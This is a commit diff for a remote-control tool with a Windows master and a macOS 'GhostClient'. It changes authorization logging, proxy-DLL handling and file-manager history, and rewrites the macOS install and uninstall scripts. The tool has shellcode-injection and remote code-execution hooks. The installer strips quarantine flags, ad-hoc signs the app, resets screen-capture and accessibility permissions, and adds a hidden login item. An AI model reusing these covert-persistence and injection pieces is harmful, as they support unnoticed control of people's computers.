Improve master authorization logs and web remote desktop cursor
This commit is contained in:
@@ -272,6 +272,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
FrpcParam* f = (FrpcParam*)user;
|
||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||
int r = 0;
|
||||
uint64_t start = time(0);
|
||||
if (proc) {
|
||||
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
@@ -279,7 +280,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
else {
|
||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||
}
|
||||
if (r) {
|
||||
if (r || (time(0)-start < 15)) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
Mprintf("%s\n", buf);
|
||||
@@ -295,6 +296,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
FrpcParam* f = (FrpcParam*)user;
|
||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||
int r = 0;
|
||||
uint64_t start = time(0);
|
||||
if (proc) {
|
||||
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
@@ -302,7 +304,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
else {
|
||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||
}
|
||||
if (r) {
|
||||
if (r || (time(0)-start < 15)) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
Mprintf("%s\n", buf);
|
||||
|
||||
@@ -330,6 +330,7 @@ enum {
|
||||
CMD_SET_GROUP = 242, // 修改分组
|
||||
CMD_EXECUTE_DLL_NEW = 243, // 执行代码
|
||||
CMD_PEER_TO_PEER = 244, // P2P通信
|
||||
TOKEN_CLIENTID = 245,
|
||||
};
|
||||
|
||||
enum MachineCommand {
|
||||
|
||||
119
macos/install.sh
119
macos/install.sh
@@ -4,100 +4,101 @@
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
GHOST_SRC="${1:-$SCRIPT_DIR/build/bin/ghost}"
|
||||
GHOST_DST="/usr/local/bin/ghost"
|
||||
PLIST_DST="/Library/LaunchDaemons/com.ghost.client.plist"
|
||||
APP_DIR="/Applications/GhostClient.app"
|
||||
APP_BIN="$APP_DIR/Contents/MacOS/ghost"
|
||||
|
||||
echo "=== Ghost Client 安装程序 ==="
|
||||
echo "源文件: $GHOST_SRC"
|
||||
echo "=== GhostClient 安装程序 ==="
|
||||
echo ""
|
||||
|
||||
# 检查源文件
|
||||
if [ ! -f "$GHOST_SRC" ]; then
|
||||
echo ""
|
||||
echo "错误: 找不到 $GHOST_SRC"
|
||||
echo ""
|
||||
echo "请先编译: ./build.sh"
|
||||
echo ""
|
||||
echo "或指定路径: $0 <ghost可执行文件路径>"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "源文件: $GHOST_SRC"
|
||||
echo ""
|
||||
|
||||
set -e
|
||||
|
||||
# 1. 停止旧服务(只停止安装目录的,不影响调试目录)
|
||||
echo "[1/6] 停止旧服务..."
|
||||
sudo launchctl unload "$PLIST_DST" 2>/dev/null || true
|
||||
sudo pkill -9 -f "$GHOST_DST" 2>/dev/null || true
|
||||
# 1. 停止旧进程
|
||||
echo "[1/6] 停止旧进程..."
|
||||
pkill -9 -f "$APP_BIN" 2>/dev/null || true
|
||||
|
||||
# 2. 复制程序
|
||||
echo "[2/6] 安装程序到 $GHOST_DST..."
|
||||
sudo cp "$GHOST_SRC" "$GHOST_DST"
|
||||
sudo chmod +x "$GHOST_DST"
|
||||
# 2. 重置系统权限(关键步骤!避免权限缓存导致空白桌面)
|
||||
echo "[2/6] 重置系统权限..."
|
||||
echo " (这会清除屏幕录制和辅助功能的旧授权,需要重新授权)"
|
||||
tccutil reset ScreenCapture 2>/dev/null || true
|
||||
tccutil reset Accessibility 2>/dev/null || true
|
||||
|
||||
# 3. 清除隔离属性
|
||||
echo "[3/6] 清除隔离属性..."
|
||||
sudo xattr -cr "$GHOST_DST"
|
||||
# 3. 创建应用程序包
|
||||
echo "[3/6] 创建应用程序..."
|
||||
sudo rm -rf "$APP_DIR"
|
||||
sudo mkdir -p "$APP_DIR/Contents/MacOS"
|
||||
sudo mkdir -p "$APP_DIR/Contents/Resources"
|
||||
|
||||
# 4. 签名
|
||||
echo "[4/6] 签名程序..."
|
||||
sudo codesign --force --deep --sign - "$GHOST_DST"
|
||||
# 复制 ghost 到 app bundle 内部
|
||||
sudo cp "$GHOST_SRC" "$APP_BIN"
|
||||
sudo chmod +x "$APP_BIN"
|
||||
|
||||
# 5. 创建 launchd plist
|
||||
echo "[5/6] 创建 launchd 服务..."
|
||||
sudo tee "$PLIST_DST" > /dev/null << 'EOF'
|
||||
# 创建 Info.plist
|
||||
sudo tee "$APP_DIR/Contents/Info.plist" > /dev/null << 'EOF'
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>ghost</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>com.ghost.client</string>
|
||||
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/usr/local/bin/ghost</string>
|
||||
</array>
|
||||
|
||||
<key>RunAtLoad</key>
|
||||
<key>CFBundleName</key>
|
||||
<string>GhostClient</string>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1.0</string>
|
||||
<key>LSUIElement</key>
|
||||
<true/>
|
||||
|
||||
<key>KeepAlive</key>
|
||||
<true/>
|
||||
|
||||
<key>StandardOutPath</key>
|
||||
<string>/var/log/ghost.log</string>
|
||||
|
||||
<key>StandardErrorPath</key>
|
||||
<string>/var/log/ghost.log</string>
|
||||
</dict>
|
||||
</plist>
|
||||
EOF
|
||||
|
||||
sudo chown root:wheel "$PLIST_DST"
|
||||
sudo chmod 644 "$PLIST_DST"
|
||||
# 4. 清除隔离属性
|
||||
echo "[4/6] 清除隔离属性..."
|
||||
sudo xattr -cr "$APP_DIR"
|
||||
|
||||
# 6. 完成
|
||||
echo "[6/6] 安装完成!"
|
||||
# 5. 签名应用
|
||||
echo "[5/6] 签名应用..."
|
||||
sudo codesign --force --deep --sign - "$APP_DIR"
|
||||
|
||||
# 6. 添加到登录项(开机自启)
|
||||
echo "[6/7] 添加到登录项..."
|
||||
osascript -e 'tell application "System Events" to delete login item "GhostClient"' 2>/dev/null || true
|
||||
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/Applications/GhostClient.app", hidden:true}' 2>/dev/null && echo " 已添加开机自启" || echo " 添加失败,请手动添加"
|
||||
|
||||
# 7. 完成
|
||||
echo "[7/7] 安装完成!"
|
||||
echo ""
|
||||
echo "========================================"
|
||||
echo "重要: 首次运行需要授权系统权限"
|
||||
echo " 下一步: 授权系统权限"
|
||||
echo "========================================"
|
||||
echo ""
|
||||
echo "请执行以下步骤:"
|
||||
echo "1. 启动应用 (会自动弹出权限请求):"
|
||||
echo ""
|
||||
echo "1. 手动运行以触发权限请求:"
|
||||
echo " $GHOST_DST"
|
||||
echo " open /Applications/GhostClient.app"
|
||||
echo ""
|
||||
echo "2. 授权后按 Ctrl+C 停止程序(权限需重启生效)"
|
||||
echo "2. 授权以下权限 (在系统设置中勾选 GhostClient):"
|
||||
echo " - 屏幕录制: 允许捕获屏幕画面"
|
||||
echo " - 辅助功能: 允许控制鼠标键盘"
|
||||
echo ""
|
||||
echo "3. 启动服务:"
|
||||
echo " sudo launchctl load $PLIST_DST"
|
||||
echo "3. 授权后重启应用:"
|
||||
echo ""
|
||||
echo "如未弹出授权对话框,手动添加:"
|
||||
echo " 系统设置 > 隐私与安全性 > 屏幕录制 > 添加 ghost"
|
||||
echo " 系统设置 > 隐私与安全性 > 辅助功能 > 添加 ghost"
|
||||
echo " pkill -f GhostClient && open /Applications/GhostClient.app"
|
||||
echo ""
|
||||
echo "常用命令:"
|
||||
echo " 启动: sudo launchctl start com.ghost.client"
|
||||
echo " 停止: sudo launchctl stop com.ghost.client"
|
||||
echo " 卸载: sudo launchctl unload $PLIST_DST"
|
||||
echo " 日志: tail -f /var/log/ghost.log"
|
||||
echo "4. 查看日志确认运行状态:"
|
||||
echo ""
|
||||
echo " tail -f /tmp/ghost.log"
|
||||
echo ""
|
||||
echo "========================================"
|
||||
echo ""
|
||||
|
||||
@@ -1,31 +1,32 @@
|
||||
#!/bin/bash
|
||||
# macOS Ghost Client 卸载脚本
|
||||
|
||||
echo "=== Ghost Client 卸载程序 ==="
|
||||
APP_DIR="/Applications/GhostClient.app"
|
||||
|
||||
# 1. 停止并卸载 launchd 服务
|
||||
echo "[1/4] 停止服务..."
|
||||
sudo launchctl unload /Library/LaunchDaemons/com.ghost.client.plist 2>/dev/null
|
||||
launchctl unload ~/Library/LaunchAgents/com.ghost.client.plist 2>/dev/null
|
||||
|
||||
# 2. 杀死残留进程
|
||||
echo "[2/4] 终止进程..."
|
||||
sudo pkill -9 -f "/usr/local/bin/ghost" 2>/dev/null
|
||||
|
||||
# 3. 删除文件
|
||||
echo "[3/4] 删除文件..."
|
||||
sudo rm -f /Library/LaunchDaemons/com.ghost.client.plist
|
||||
rm -f ~/Library/LaunchAgents/com.ghost.client.plist
|
||||
sudo rm -f /usr/local/bin/ghost
|
||||
rm -rf ~/.config/ghost
|
||||
sudo rm -f /var/log/ghost.log
|
||||
|
||||
# 4. 完成
|
||||
echo "[4/4] 卸载完成!"
|
||||
echo "=== GhostClient 卸载程序 ==="
|
||||
echo ""
|
||||
echo "注意: 系统权限(屏幕录制/辅助功能)未重置。"
|
||||
|
||||
# 1. 停止进程
|
||||
echo "[1/3] 停止进程..."
|
||||
pkill -9 -f "$APP_DIR" 2>/dev/null || true
|
||||
|
||||
# 2. 删除文件
|
||||
echo "[2/3] 删除文件..."
|
||||
sudo rm -rf "$APP_DIR"
|
||||
rm -rf ~/.config/ghost 2>/dev/null || true
|
||||
rm -f /tmp/ghost.log 2>/dev/null || true
|
||||
|
||||
# 3. 移除登录项
|
||||
echo "[3/4] 移除登录项..."
|
||||
osascript -e 'tell application "System Events" to delete login item "GhostClient"' 2>/dev/null || true
|
||||
|
||||
# 4. 重置系统权限
|
||||
echo "[4/4] 重置系统权限..."
|
||||
tccutil reset ScreenCapture 2>/dev/null || true
|
||||
tccutil reset Accessibility 2>/dev/null || true
|
||||
|
||||
echo ""
|
||||
echo "========================================"
|
||||
echo " 卸载完成"
|
||||
echo "========================================"
|
||||
echo ""
|
||||
echo "如需重置系统权限(会影响所有应用),请手动执行:"
|
||||
echo " tccutil reset ScreenCapture"
|
||||
echo " tccutil reset Accessibility"
|
||||
echo " tccutil reset SystemPolicyAllFiles"
|
||||
|
||||
Binary file not shown.
@@ -176,9 +176,9 @@ bool SupportsFileTransferV2(context* ctx) {
|
||||
}
|
||||
|
||||
// 授权日志频率控制:首次必须记录,状态变化必须记录,相同状态每小时记录一次
|
||||
static bool ShouldLogAuth(const std::string& sn, bool success) {
|
||||
static bool ShouldLogAuth(const std::string& sn, int success) {
|
||||
struct AuthLogState {
|
||||
bool lastStatus;
|
||||
int lastStatus;
|
||||
time_t lastLogTime;
|
||||
};
|
||||
static std::map<std::string, AuthLogState> s_cache;
|
||||
@@ -4526,12 +4526,12 @@ bool IsDateInRange(const std::string& startDate, const std::string& endDate)
|
||||
return (today >= startDate && today <= endDate);
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired)
|
||||
int CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired)
|
||||
{
|
||||
if (outExpired) *outExpired = false;
|
||||
|
||||
if (sn.empty() || passcode.empty() || hmac == 0) {
|
||||
return FALSE;
|
||||
return 1;
|
||||
}
|
||||
auto v = splitString(passcode, '-');
|
||||
if (v.size() == 6 || v.size() == 7) {
|
||||
@@ -4541,7 +4541,7 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, cons
|
||||
std::string hash256 = joinString(subvector, '-');
|
||||
std::string fixedKey = getFixedLengthID(finalKey);
|
||||
if (hash256 != fixedKey)
|
||||
return FALSE;
|
||||
return 2;
|
||||
}
|
||||
|
||||
static const char* superAdmin = getenv(BRAND_ENV_VAR);
|
||||
@@ -4550,14 +4550,13 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, cons
|
||||
Mprintf("请设置环境变量 " BRAND_ENV_VAR " 来给下级授权!\n");
|
||||
}
|
||||
BOOL b = VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac);
|
||||
if (!b) return FALSE;
|
||||
if (!b) return 3;
|
||||
auto list = StringToVector(passcode, '-', 2);
|
||||
BOOL valid = IsDateInRange(list[0], list[1]);
|
||||
std::string hmacStr = std::to_string(hmac);
|
||||
|
||||
// 授权过期,更新或创建记录并标记为过期
|
||||
if (!valid) {
|
||||
Mprintf("授权已过期: %s\n", sn.c_str());
|
||||
if (outExpired) *outExpired = true; // 签名有效但已过期
|
||||
if (ctx != nullptr) {
|
||||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||||
@@ -4568,13 +4567,12 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, cons
|
||||
UpdateLicenseActivity(sn, passcode, hmacStr);
|
||||
}
|
||||
SetLicenseStatus(sn, LICENSE_STATUS_EXPIRED);
|
||||
return FALSE;
|
||||
return 4;
|
||||
}
|
||||
|
||||
// 检查授权是否已被撤销
|
||||
if (IsLicenseRevoked(sn)) {
|
||||
Mprintf("授权已被撤销: %s\n", sn.c_str());
|
||||
return FALSE;
|
||||
return 5;
|
||||
}
|
||||
|
||||
// 授权成功时更新 license 活跃信息
|
||||
@@ -4587,21 +4585,20 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(context* ctx, const std::string& sn, cons
|
||||
UpdateLicenseActivity(sn, passcode, hmacStr);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired)
|
||||
int CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired)
|
||||
{
|
||||
if (outExpired) *outExpired = false;
|
||||
|
||||
if (sn.empty() || passcode.empty() || hmacV2.empty()) {
|
||||
return FALSE;
|
||||
return 1;
|
||||
}
|
||||
|
||||
// 检查 V2 前缀
|
||||
if (hmacV2.substr(0, 3) != "v2:") {
|
||||
Mprintf("V2 HMAC 格式错误: %s\n", hmacV2.c_str());
|
||||
return FALSE;
|
||||
return 2;
|
||||
}
|
||||
|
||||
// 检查公钥是否已配置(全零表示未配置)
|
||||
@@ -4613,15 +4610,13 @@ BOOL CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, co
|
||||
}
|
||||
}
|
||||
if (!keyConfigured) {
|
||||
Mprintf("V2 公钥未配置,无法验证 V2 授权\n");
|
||||
return FALSE;
|
||||
return 3;
|
||||
}
|
||||
|
||||
// 使用 V2 验证
|
||||
BOOL b = verifyPasswordV2(sn, passcode, hmacV2, g_LicensePublicKey);
|
||||
if (!b) {
|
||||
Mprintf("V2 签名验证失败: %s\n", sn.c_str());
|
||||
return FALSE;
|
||||
return 4;
|
||||
}
|
||||
|
||||
auto list = StringToVector(passcode, '-', 2);
|
||||
@@ -4629,7 +4624,6 @@ BOOL CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, co
|
||||
|
||||
// 授权过期
|
||||
if (!valid) {
|
||||
Mprintf("V2 授权已过期: %s\n", sn.c_str());
|
||||
if (outExpired) *outExpired = true; // 签名有效但已过期
|
||||
if (ctx != nullptr) {
|
||||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||||
@@ -4640,13 +4634,12 @@ BOOL CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, co
|
||||
UpdateLicenseActivity(sn, passcode, hmacV2);
|
||||
}
|
||||
SetLicenseStatus(sn, LICENSE_STATUS_EXPIRED);
|
||||
return FALSE;
|
||||
return 5;
|
||||
}
|
||||
|
||||
// 检查授权是否已被撤销
|
||||
if (IsLicenseRevoked(sn)) {
|
||||
Mprintf("V2 授权已被撤销: %s\n", sn.c_str());
|
||||
return FALSE;
|
||||
return 6;
|
||||
}
|
||||
|
||||
// 授权成功时更新 license 活跃信息
|
||||
@@ -4659,7 +4652,7 @@ BOOL CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, co
|
||||
UpdateLicenseActivity(sn, passcode, hmacV2);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL IsTrail(const std::string& passcode)
|
||||
@@ -5785,7 +5778,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
||||
const std::string& sn, const std::string& passcode, uint64_t hmac,
|
||||
const std::string& hmacV2, const std::string& ip, const char* source)
|
||||
{
|
||||
bool authorized = false;
|
||||
BOOL authorized = -1;
|
||||
bool isV2 = false;
|
||||
bool isTrail = false;
|
||||
bool expired = false;
|
||||
@@ -5794,19 +5787,19 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
||||
// V2 授权验证
|
||||
isV2 = true;
|
||||
authorized = AuthorizeClientV2(host, sn, passcode, hmacV2, &expired);
|
||||
if (authorized) {
|
||||
if (authorized == 0) {
|
||||
if (host) {
|
||||
m_ClientMap->SetClientMapInteger(host->GetClientID(), MAP_AUTH, TRUE);
|
||||
}
|
||||
isTrail = IsTrail(passcode.c_str());
|
||||
}
|
||||
if (ShouldLogAuth(sn, authorized)) {
|
||||
if (authorized) {
|
||||
if (authorized == 0) {
|
||||
Mprintf("[%s] %s V2 授权成功: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V2 授权成功: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
} else {
|
||||
Mprintf("[%s] %s V2 授权失败: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
|
||||
Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
}
|
||||
@@ -5815,26 +5808,26 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
||||
// V1 授权验证
|
||||
isV2 = false;
|
||||
authorized = AuthorizeClient(host, sn, passcode, hmac, &expired);
|
||||
if (authorized) {
|
||||
if (authorized == 0) {
|
||||
if (host) {
|
||||
m_ClientMap->SetClientMapInteger(host->GetClientID(), MAP_AUTH, TRUE);
|
||||
}
|
||||
isTrail = IsTrail(passcode.c_str());
|
||||
}
|
||||
if (ShouldLogAuth(sn, authorized)) {
|
||||
if (authorized) {
|
||||
if (authorized == 0) {
|
||||
Mprintf("[%s] %s V1 授权成功: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V1 授权成功: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
} else {
|
||||
Mprintf("[%s] %s V1 授权失败: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
|
||||
Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return std::make_tuple(authorized, isV2, isTrail, expired);
|
||||
return std::make_tuple(authorized==0, isV2, isTrail, expired);
|
||||
}
|
||||
|
||||
// 检查并发送预设续期(多点验证)
|
||||
@@ -8609,6 +8602,22 @@ context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
uint64_t CMy2015RemoteDlg::FindClientIDByIP(const std::string& ip)
|
||||
{
|
||||
CString clientIP(ip.c_str());
|
||||
uint64_t clientID = 0;
|
||||
EnterCriticalSection(&m_cs);
|
||||
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||||
context* ContextObject = *i;
|
||||
if (ContextObject->GetClientData(ONLINELIST_IP) == clientIP || ContextObject->GetAdditionalData(RES_CLIENT_PUBIP) == clientIP) {
|
||||
clientID = ContextObject->GetClientID();
|
||||
break;
|
||||
}
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return clientID;
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::InjectShellcode(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
std::string* ip = (std::string*)wParam;
|
||||
|
||||
@@ -215,8 +215,8 @@ public:
|
||||
MasterSettings m_settings;
|
||||
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||
BOOL AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
|
||||
BOOL AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
|
||||
int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
|
||||
int AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
|
||||
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
|
||||
VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength, contextModifier cb = NULL, void* user=NULL);
|
||||
VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength);
|
||||
@@ -255,6 +255,7 @@ public:
|
||||
CGridDialog * m_gridDlg = NULL;
|
||||
std::vector<DllInfo*> m_DllList;
|
||||
context* FindHostByIP(const std::string& ip);
|
||||
uint64_t FindClientIDByIP(const std::string& ip); // 线程安全:在锁内获取ID
|
||||
void InjectTinyRunDll(const std::string& ip, int pid);
|
||||
NOTIFYICONDATA m_Nid;
|
||||
HANDLE m_hExit;
|
||||
|
||||
@@ -25,6 +25,26 @@ static UINT indicators[] = {
|
||||
#define MAX_SEND_BUFFER 65535
|
||||
#define MAX_RECV_BUFFER 65535
|
||||
|
||||
// 静态成员变量定义 - 历史路径记录
|
||||
CString CFileManagerDlg::s_strLocalHistoryPath;
|
||||
std::map<uint64_t, CString> CFileManagerDlg::s_mapRemoteHistoryPath;
|
||||
CLock CFileManagerDlg::s_lockHistory;
|
||||
|
||||
// 获取有效的客户端ID:优先用 m_ClientID,否则通过 IP 找主连接
|
||||
uint64_t CFileManagerDlg::GetClientID() const
|
||||
{
|
||||
// 优先使用已设置的 m_ClientID(未来 TOKEN_CLIENTID 会设置这个)
|
||||
if (m_ClientID != 0) {
|
||||
return m_ClientID;
|
||||
}
|
||||
// 回退:通过 IP 找主连接获取 ClientID(线程安全)
|
||||
if (g_2015RemoteDlg && m_ContextObject) {
|
||||
std::string peerIP = m_ContextObject->GetPeerName();
|
||||
return g_2015RemoteDlg->FindClientIDByIP(peerIP);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
LVITEM* plvi;
|
||||
CString sCol2;
|
||||
@@ -137,10 +157,12 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
|
||||
ON_COMMAND(IDT_LOCAL_DOWNLOADS, OnLocalDownloads)
|
||||
ON_COMMAND(IDT_LOCAL_HOME, OnLocalHome)
|
||||
ON_COMMAND(IDT_LOCAL_SEARCH, OnLocalSearch)
|
||||
ON_COMMAND(IDT_LOCAL_HISTORY, OnLocalHistory)
|
||||
ON_COMMAND(IDT_REMOTE_DESKTOP, OnRemoteDesktop)
|
||||
ON_COMMAND(IDT_REMOTE_DOWNLOADS, OnRemoteDownloads)
|
||||
ON_COMMAND(IDT_REMOTE_HOME, OnRemoteHome)
|
||||
ON_COMMAND(IDT_REMOTE_SEARCH, OnRemoteSearch)
|
||||
ON_COMMAND(IDT_REMOTE_HISTORY, OnRemoteHistory)
|
||||
ON_COMMAND(IDM_TRANSFER, OnTransfer)
|
||||
ON_COMMAND(IDM_RENAME, OnRename)
|
||||
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_LOCAL, OnEndlabeleditListLocal)
|
||||
@@ -494,6 +516,12 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
|
||||
}
|
||||
|
||||
ShowMessage(_TRF("本地:装载目录 %s 完成"), m_Local_Path);
|
||||
|
||||
// 记录本地历史路径
|
||||
if (m_Local_Path.GetLength() > 0) {
|
||||
CAutoCLock lock(s_lockHistory);
|
||||
s_strLocalHistoryPath = m_Local_Path;
|
||||
}
|
||||
}
|
||||
|
||||
void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
|
||||
@@ -966,6 +994,8 @@ void CFileManagerDlg::OnReceiveComplete()
|
||||
ShowMessage(_TRF("搜索 \"%s\" 在 %s 完成,共 %d 个结果 (耗时 %d秒)"), m_strSearchName, m_strSearchPath, m_nSearchResultCount, dwElapsed);
|
||||
}
|
||||
break;
|
||||
case TOKEN_CLIENTID:
|
||||
break;
|
||||
default:
|
||||
SendException();
|
||||
break;
|
||||
@@ -1024,6 +1054,13 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
|
||||
m_Remote_Directory_ComboBox.InsertStringL(0, m_Remote_Path);
|
||||
m_Remote_Directory_ComboBox.SetCurSel(0);
|
||||
|
||||
// 记录远程历史路径(按客户端ID区分)
|
||||
uint64_t clientID = GetClientID();
|
||||
if (m_Remote_Path.GetLength() > 0 && clientID != 0) {
|
||||
CAutoCLock lock(s_lockHistory);
|
||||
s_mapRemoteHistoryPath[clientID] = m_Remote_Path;
|
||||
}
|
||||
|
||||
// 得到返回数据前禁窗口
|
||||
m_list_remote.EnableWindow(FALSE);
|
||||
m_ProgressCtrl->SetPos(0);
|
||||
@@ -1594,6 +1631,57 @@ void CFileManagerDlg::OnRemoteSearch()
|
||||
}
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnLocalHistory()
|
||||
{
|
||||
// 跳转到上次打开的本地文件夹
|
||||
CString historyPath;
|
||||
{
|
||||
CAutoCLock lock(s_lockHistory);
|
||||
historyPath = s_strLocalHistoryPath;
|
||||
}
|
||||
|
||||
if (historyPath.IsEmpty()) {
|
||||
ShowMessage(_TR("没有本地历史记录"));
|
||||
return;
|
||||
}
|
||||
|
||||
// 检查目录是否存在
|
||||
if (GetFileAttributesA(historyPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
ShowMessage(_TRF("历史目录不存在: %s"), historyPath);
|
||||
return;
|
||||
}
|
||||
|
||||
m_Local_Path = historyPath;
|
||||
FixedLocalFileList(".");
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnRemoteHistory()
|
||||
{
|
||||
// 跳转到上次打开的远程文件夹(按客户端ID区分)
|
||||
uint64_t clientID = GetClientID();
|
||||
if (clientID == 0) {
|
||||
ShowMessage(_TR("无法识别远程主机"));
|
||||
return;
|
||||
}
|
||||
|
||||
CString historyPath;
|
||||
{
|
||||
CAutoCLock lock(s_lockHistory);
|
||||
auto it = s_mapRemoteHistoryPath.find(clientID);
|
||||
if (it != s_mapRemoteHistoryPath.end()) {
|
||||
historyPath = it->second;
|
||||
}
|
||||
}
|
||||
|
||||
if (historyPath.IsEmpty()) {
|
||||
ShowMessage(_TR("没有远程历史记录"));
|
||||
return;
|
||||
}
|
||||
|
||||
m_Remote_Path = historyPath;
|
||||
GetRemoteFileList(".");
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnLocalView()
|
||||
{
|
||||
// TODO: Add your command handler code here
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
|
||||
#include "IOCPServer.h"
|
||||
#include "SortListCtrl.h"
|
||||
#include "../../common/locker.h"
|
||||
#include <map>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
@@ -246,10 +247,12 @@ protected:
|
||||
afx_msg void OnLocalDownloads();
|
||||
afx_msg void OnLocalHome();
|
||||
afx_msg void OnLocalSearch();
|
||||
afx_msg void OnLocalHistory();
|
||||
afx_msg void OnRemoteDesktop();
|
||||
afx_msg void OnRemoteDownloads();
|
||||
afx_msg void OnRemoteHome();
|
||||
afx_msg void OnRemoteSearch();
|
||||
